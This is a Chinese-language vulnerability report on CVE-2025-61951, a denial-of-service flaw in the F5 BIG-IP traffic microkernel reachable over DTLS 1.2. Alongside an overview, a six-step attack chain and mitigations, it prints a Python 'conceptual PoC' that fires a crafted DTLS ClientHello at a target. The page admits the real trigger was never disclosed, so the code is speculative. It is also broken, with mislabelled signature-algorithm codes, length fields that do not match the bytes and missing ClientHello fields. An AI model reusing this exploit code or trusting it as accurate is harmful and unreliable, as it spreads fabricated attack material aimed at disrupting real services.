IPBUF安全漏洞报告
English
CVE-2025-61951 CVSS 7.5 高危

F5 BIG-IP TMM拒绝服务漏洞(CVE-2025-61951)

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-61951
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F5 BIG-IP(Traffic Management Microkernel / TMM)

相关标签

拒绝服务DoSF5 BIG-IPTMMDTLSSSL/TLS高危漏洞网络攻击CVE-2025-61951应用交付控制器

漏洞概述

CVE-2025-61951是F5公司旗下BIG-IP产品中流量管理微内核(Traffic Management Microkernel,简称TMM)存在的一个高危拒绝服务漏洞。该漏洞的CVSS 3.1评分为7.5分,严重等级为HIGH。攻击者可以通过向目标F5 BIG-IP设备发送未公开(undisclosed)的恶意流量,导致TMM进程异常终止,从而使设备丧失流量处理能力,造成业务中断。

该漏洞的触发需要满足特定的前置配置条件:目标设备必须启用DTLS(Datagram Transport Layer Security)1.2虚拟服务器,并在Server SSL配置文件中设置了证书(certificate)、密钥(key),同时将SSL Sign Hash参数配置为ANY。此外,后端服务器也必须启用DTLS 1.2协议并开启客户端认证(client authentication)功能。只有在上述配置组合下,攻击者才能利用该漏洞触发TMM崩溃。

F5 BIG-IP作为企业级应用交付控制器(ADC),广泛应用于大型企业、数据中心和云服务提供商环境中,承担着关键的网络流量分发、负载均衡、SSL卸载和应用安全防护等核心职能。TMM作为BIG-IP的核心数据平面处理引擎,其崩溃将直接导致设备无法处理任何网络流量,对业务连续性造成严重影响。该漏洞由F5安全事件响应团队([email protected])发现并报告,F5官方已发布相应的安全公告(K000151309)提供修复方案。需要注意的是,已达到技术支持终止(End of Technical Support,EoTS)状态的软件版本不再进行评估和修复。

技术细节

该漏洞的根因在于F5 BIG-IP的TMM在处理特定DTLS 1.2流量时存在缺陷。当DTLS 1.2虚拟服务器配置了包含证书、密钥以及SSL Sign Hash设置为ANY的Server SSL配置文件,且后端服务器启用DTLS 1.2和客户端认证时,TMM在处理某些未公开的恶意流量模式时会出现异常,导致进程终止。

从技术角度看,DTLS是TLS协议在数据报传输(如UDP)场景下的适配版本,用于在不可靠的传输层上提供安全通信。SSL Sign Hash参数控制SSL/TLS握手过程中签名哈希算法的选择,当设置为ANY时,允许使用任意支持的哈希算法进行签名操作,这增加了握手处理的复杂性和潜在的边界条件。

攻击者无需认证(PR:N)且无需用户交互(UI:N),仅需通过网络(AV:N)向目标DTLS 1.2虚拟服务器发送特制的恶意流量即可触发漏洞。攻击复杂度低(AC:L),表明该漏洞的利用门槛不高。漏洞的影响范围为S:U(影响范围未改变),机密性影响为低(C:L),完整性影响为无(I:N),可用性影响为高(A:H),表明漏洞的主要危害是导致服务不可用。

由于F5未公开具体的流量触发细节,该漏洞属于零日利用可能性较低的已知漏洞类型,攻击者需要具备对DTLS协议和F5 BIG-IP配置架构的深入理解才能构造有效的攻击载荷。

攻击链分析

STEP 1
步骤1:侦察目标
攻击者通过网络扫描或资产发现技术,识别暴露在公网或内网中的F5 BIG-IP设备,并确认其是否启用了DTLS 1.2虚拟服务器功能。
STEP 2
步骤2:验证配置
攻击者通过分析BIG-IP的配置(如通过iControl REST API或配置文件泄露),确认目标设备满足漏洞触发条件:Server SSL配置文件中证书、密钥和SSL Sign Hash=ANY均已配置,且后端服务器启用了DTLS 1.2和客户端认证。
STEP 3
步骤3:构造恶意DTLS流量
攻击者构造特制的DTLS 1.2数据包,利用SSL Sign Hash=ANY配置下的处理逻辑缺陷,触发TMM内部的异常处理路径。
STEP 4
步骤4:发送攻击流量
攻击者通过UDP协议将恶意DTLS数据包发送至目标BIG-IP设备的DTLS虚拟服务器端口(通常为4433),无需认证和用户交互即可完成攻击。
STEP 5
步骤5:TMM终止
TMM在处理恶意流量时发生异常并终止进程,导致BIG-IP设备丧失流量处理能力,所有经过该设备的业务流量中断,造成拒绝服务。
STEP 6
步骤6:持续攻击
攻击者可重复发送恶意数据包维持拒绝服务状态,或等待TMM自动重启后再次发起攻击,对业务连续性造成持续影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61951 - F5 BIG-IP TMM DoS PoC (Conceptual) # This is a conceptual PoC demonstrating the attack vector for the DTLS 1.2 TMM termination vulnerability. # Note: F5 has not disclosed specific triggering traffic details. import socket import ssl import struct # Target configuration TARGET_HOST = "<target_big_ip_ip>" TARGET_PORT = 4433 # DTLS typically uses port 4433 DTLS_VERSION = b"\xfe\xfd" # DTLS 1.2 version byte def craft_malicious_dtls_packet(): """ Craft a malicious DTLS 1.2 ClientHello packet targeting a BIG-IP virtual server with the vulnerable configuration: - DTLS 1.2 virtual server enabled - Server SSL profile with certificate, key, SSL Sign Hash = ANY - Backend server with DTLS 1.2 and client authentication """ # DTLS Record Header: ContentType(1) + Version(2) + Epoch(2) + Sequence(6) + Length(2) content_type = b"\x16" # Handshake version = DTLS_VERSION epoch = b"\x00\x00" sequence_number = b"\x00\x00\x00\x00\x00\x00" # DTLS Handshake Header: HandshakeType(1) + Length(3) + MessageSeq(2) + FragmentOffset(3) + FragmentLength(3) handshake_type = b"\x01" # ClientHello # ClientHello body with crafted cipher suites and signature algorithms # targeting the SSL Sign Hash = ANY configuration client_version = DTLS_VERSION random_bytes = b"\x00" * 32 session_id_len = b"\x00" # Include various signature algorithms to trigger the ANY hash processing path cipher_suites = struct.pack(">H", 2) + b"\xc0\x2f" # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 # Signature algorithms extension with multiple hash algorithms sig_alg_extension = ( struct.pack(">HH", 0x000d, 20) + # Extension type: signature_algorithms, length struct.pack(">H", 18) + # Signature algorithms list length b"\x06\x03" + # ECDSA_SECP256r1_SHA384 b"\x05\x03" + # ECDSA_SECP384r1_SHA384 b"\x04\x03" + # ECDSA_SECP256r1_SHA256 b"\x08\x07" + # Ed25519 b"\x08\x08" + # Ed448 b"\x08\x09" + # rsa_pkcs1_sha256 b"\x08\x0a" + # rsa_pkcs1_sha384 b"\x08\x0b" # rsa_pkcs1_sha512 ) extensions = struct.pack(">H", len(sig_alg_extension)) + sig_alg_extension # Assemble ClientHello body hello_body = client_version + random_bytes + session_id_len + cipher_suites + extensions # Handshake header handshake_header = handshake_type + struct.pack(">I", len(hello_body))[1:] + b"\x00\x00" + b"\x00\x00\x00" + struct.pack(">I", len(hello_body))[1:] # DTLS record record_payload = handshake_header + hello_body record = content_type + version + epoch + sequence_number + struct.pack(">H", len(record_payload)) + record_payload return record def exploit(): """ Send crafted DTLS traffic to trigger TMM termination on vulnerable BIG-IP. """ udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.settimeout(5) payload = craft_malicious_dtls_packet() print(f"[*] Sending malicious DTLS 1.2 packet to {TARGET_HOST}:{TARGET_PORT}") udp_sock.sendto(payload, (TARGET_HOST, TARGET_PORT)) print("[+] Packet sent. Target TMM may terminate if vulnerable.") if __name__ == "__main__": exploit()

影响范围

F5 BIG-IP(具体受影响版本请参考F5官方公告K000151309)
已到达技术支持终止(EoTS)状态的版本不在评估范围内

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)修改Server SSL配置文件,将SSL Sign Hash参数从ANY修改为具体的哈希算法(如SHA256或SHA384),消除触发条件;2)如果业务允许,暂时禁用DTLS 1.2虚拟服务器,改用TLS over TCP协议;3)暂时禁用后端服务器的客户端认证功能;4)在网络层面限制对BIG-IP DTLS端口(默认4433)的访问,仅允许可信源IP连接;5)启用TMM watchdog和自动故障转移机制,确保TMM崩溃后能快速恢复服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表